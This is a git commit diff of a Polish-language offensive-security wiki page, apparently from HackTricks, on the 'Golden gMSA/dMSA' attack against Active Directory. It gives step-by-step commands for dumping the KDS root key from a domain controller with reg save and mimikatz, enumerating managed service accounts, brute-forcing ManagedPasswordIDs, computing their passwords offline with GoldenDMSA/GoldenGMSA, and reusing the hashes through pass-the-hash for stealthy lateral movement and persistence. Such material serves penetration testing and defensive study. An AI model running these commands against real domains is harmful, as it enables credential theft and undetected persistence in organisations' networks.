Translated ['src/windows-hardening/active-directory-methodology/golden-d

This commit is contained in:
Translator 2025-07-21 22:39:45 +00:00
parent 8c13b96b41
commit 17e30b5867

View File

@ -1,4 +1,4 @@
# Złoty gMSA/dMSA Atak (Offline Derywacja Haseł Kont Zarządzanych)
# Złoty gMSA/dMSA Atak (Offline Derivacja Haseł Kont Usług Zarządzanych)
{{#include ../../banners/hacktricks-training.md}}
@ -15,25 +15,25 @@ Dla obu wariantów **hasło nie jest przechowywane** na każdym Kontrolerze Dome
* **SID** docelowego konta.
* **ManagedPasswordID** (GUID) na poziomie konta, znajdującego się w atrybucie `msDS-ManagedPasswordId`.
Derywacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia.
Derivacja to: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240-bajtowy blob, który jest ostatecznie **zakodowany w base64** i przechowywany w atrybucie `msDS-ManagedPassword`. Nie jest wymagany żaden ruch Kerberos ani interakcja z domeną podczas normalnego użycia hasła host członkowski wyprowadza hasło lokalnie, o ile zna trzy wejścia.
## Złoty gMSA / Złoty dMSA Atak
Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie**, nie dotykając ponownie DC, omijając:
Jeśli atakujący może uzyskać wszystkie trzy wejścia **offline**, może obliczyć **ważne aktualne i przyszłe hasła** dla **dowolnego gMSA/dMSA w lesie** bez ponownego dotykania DC, omijając:
* logi wstępnej autoryzacji Kerberos / żądania biletów
* audyt odczytu LDAP
* interwały zmiany haseł (mogą je wstępnie obliczyć)
* Audyt odczytu LDAP
* Interwały zmiany hasła (mogą je wstępnie obliczyć)
Jest to analogiczne do *Złotego Biletu* dla kont usługowych.
### Wymagania wstępne
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise). Dostęp `SYSTEM` jest wystarczający.
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brute-force RID).
1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise), lub dostęp `SYSTEM` do jednego z DC w lesie.
2. Możliwość enumeracji kont usługowych (odczyt LDAP / brutalne siłowe atakowanie RID).
3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu.
### Faza 1 Ekstrakcja Klucza KDS Root
### Złoty gMSA / dMSA
##### Faza 1 Ekstrakcja Klucza KDS Root
Zrzut z dowolnego DC (Kopia Cienia Woluminu / surowe hives SAM+SECURITY lub zdalne sekrety):
```cmd
@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
```
Ciąg base64 oznaczony jako `RootKey` (nazwa GUID) jest wymagany w późniejszych krokach.
### Faza 2 Enumeracja obiektów gMSA/dMSA
##### Faza 2 Enumeracja obiektów gMSA / dMSA
Pobierz przynajmniej `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
```powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementuje tryby pomocnicze:
```powershell
@ -62,29 +71,27 @@ GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
```
### Faza 3 Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
##### Faza 3 Zgadnij / Odkryj ManagedPasswordID (gdy brakuje)
Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL.
Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale:
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (rozdzielczość minutowa).
1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (z dokładnością do minut).
2. Następnie 96 losowych bitów.
Dlatego **wąska lista słów dla każdego konta** (± kilka godzin) jest realistyczna.
Dlatego **wąska lista słów dla konta** (± kilka godzin) jest realistyczna.
```powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
```
Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywistym atrybutem `msDS-ManagedPassword` dopasowanie ujawnia poprawny GUID.
### Faza 4 Offline Obliczanie Hasła i Konwersja
##### Faza 4 Offline Obliczanie Hasła i Konwersja
Gdy ManagedPasswordID jest znane, ważne hasło jest na wyciągnięcie ręki:
Gdy znany jest ManagedPasswordID, ważne hasło jest na wyciągnięcie ręki:
```powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
```
Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) lub **Rubeus** w celu nadużycia Kerberos, co umożliwia ukryty **lateral movement** i **persistence**.
@ -99,13 +106,15 @@ Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`)
## Narzędzia
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementacja referencyjna używana na tej stronie.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) implementacja referencyjna używana na tej stronie.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket przy użyciu pochodnych kluczy AES.
## Odniesienia
- [Golden dMSA obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [Repozytorium Semperis/GoldenDMSA na GitHubie](https://github.com/Semperis/GoldenDMSA)
- [gMSA Ataki Active Directory Konta](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Repozytorium GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
- [Improsec atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
{{#include ../../banners/hacktricks-training.md}}